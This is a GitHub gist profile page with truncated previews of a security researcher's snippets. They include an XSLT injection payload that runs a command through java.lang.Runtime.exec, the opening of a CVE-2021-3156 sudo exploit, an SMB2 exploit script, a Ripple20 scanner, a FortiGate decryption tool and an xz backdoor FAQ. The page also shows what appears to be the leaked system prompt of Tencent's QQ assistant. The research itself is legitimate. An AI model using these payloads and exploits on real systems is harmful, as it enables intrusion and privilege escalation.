Skip to content

Instantly share code, notes, and snippets.

View WinMin's full-sized avatar
🤣
Read the fucking source code

swing WinMin

🤣
Read the fucking source code
View GitHub Profile

你是小Q,由腾讯手Q团队创建的QQ官方AI助手。用户在手机、电脑、平板电脑、手表等设备中与小Q进行对话。

小Q的人设与功能

  1. 小Q没有实际年龄,曾用名“babyQ”,于2024年10月更名为“小Q”。
  2. 协助用户了解及设置QQ功能,例如更换头像和资料卡标签。
  3. 为用户提供AI搜索、AI画图、AI写作等特色功能。
  4. 接收用户提供的文本内容并执行总结、分析、翻译、润色等任务。
  5. 小Q可以理解用户发送的文本、语音、图片、图文混排格式的消息。

小Q的模型

@WinMin
WinMin / xz-backdoor.md
Created March 31, 2024 07:27 — forked from thesamesam/xz-backdoor.md
xz-utils backdoor situation

FAQ on the xz-utils backdoor

Background

On March 29th, 2024, a backdoor was discovered in xz-utils, a suite of software that gives developers lossless compression. This package is commonly used for compressing release tarballs, software packages, kernel images, and initramfs images. It is very widely distributed, statistically your average Linux or macOS system will have it installed for

@WinMin
WinMin / fgt_7.4.x_rootfs_decrypt.py
Created March 18, 2024 07:23 — forked from rrrrrrri/fgt_7.4.x_rootfs_decrypt.py
fgt_7.4.x_rootfs_decrypt
import magic
import r2pipe
import hashlib
import argparse
import subprocess
from unicorn import *
from unicorn.x86_const import *
# from udbserver import * # uncomment this line if you want to debug
def pad_size(size):
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template>
<!-- #113 Methodref: java/lang/Runtime.getRuntime:()Ljava/lang/Runtime; -->
<!-- #119 Methodref: java/lang/Runtime.exec:(Ljava/lang/String;)Ljava/lang/Process; -->
<!-- #114 Utf8: open -a calculator -->
<!-- #115 String: touch /tmp/pwn -->
<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'open -a calculator')" xmlns:Runtime="java.lang.Runtime"/>
<xsl:value-of select="at:new()" xmlns:at="org.apache.xalan.xsltc.runtime.AbstractTranslet"/>
<!-- #132 Utf8: <init> -->
<AAA select="&lt;init&gt;"/>
@WinMin
WinMin / msl.py
Last active June 5, 2022 13:32
MacOS subsystem Linux ( power by docker)
#!/usr/bin/env python3
import docker
import os
import platform
import logging
import argparse
from distutils.dir_util import mkpath
@WinMin
WinMin / theme.css
Created March 4, 2022 06:01 — forked from fatalbit/theme.css
IDA Monokai Color Palette
/* INSTALL:
*
* Put this file under the respective directory.
* Windows: %APPDATA%\Hex-Rays\IDA Pro\themes\monokai\theme.css
* Linux & MacOS: ~/.idapro/themes/monokai/theme.css
*
* In Options -> Colors change theme to monokai
*
* */
@importtheme "dark";
@WinMin
WinMin / CVE-2021-3156-exploit.c
Last active August 9, 2021 02:44
CVE-2021-3156-exploit
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <string.h>
/*
author: swing @ bestswngs@gmail.com
swpwn-pd@ubuntu:~/glibc-2.31$ uname -a
Linux ubuntu 5.8.0-41-generic #46~20.04.1-Ubuntu SMP Mon Jan 18 17:52:23 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
swpwn-pd@ubuntu:~/glibc-2.31$ cat /etc/issue
@WinMin
WinMin / show_protocol.py
Created July 22, 2020 06:00
show protocol in gdb debug
from scapy.all import *
from scapy.layers.http import *
import gdb
class ShowProcto(gdb.Command):
"""
Usage: xpr/size memaddr procto_type
Exaple:
(gdb) xpr/20 0x7fffffffe238 TCP
@WinMin
WinMin / ripple20-treck-scan.py
Created July 2, 2020 05:24
ripple20-treck-scan.py
#!/usr/bin/python3
# -*- coding: utf-8 -*-
#author:swing
from scapy.all import *
ICMP_MS_SYNC_REQ_TYPE = 0xa5
ICMP_MS_SYNC_RSP_TYPE = 0xa6
def keep_icmp_handler(func):
# author: @leommxj @swing
import socket, struct, sys, time
from functools import reduce
class Smb2Header:
def __init__(self, command, message_id):
self.protocol_id = "\xfeSMB"
self.structure_size = "\x40\x00" # Must be set to 0x40
self.credit_charge = "\x00"*2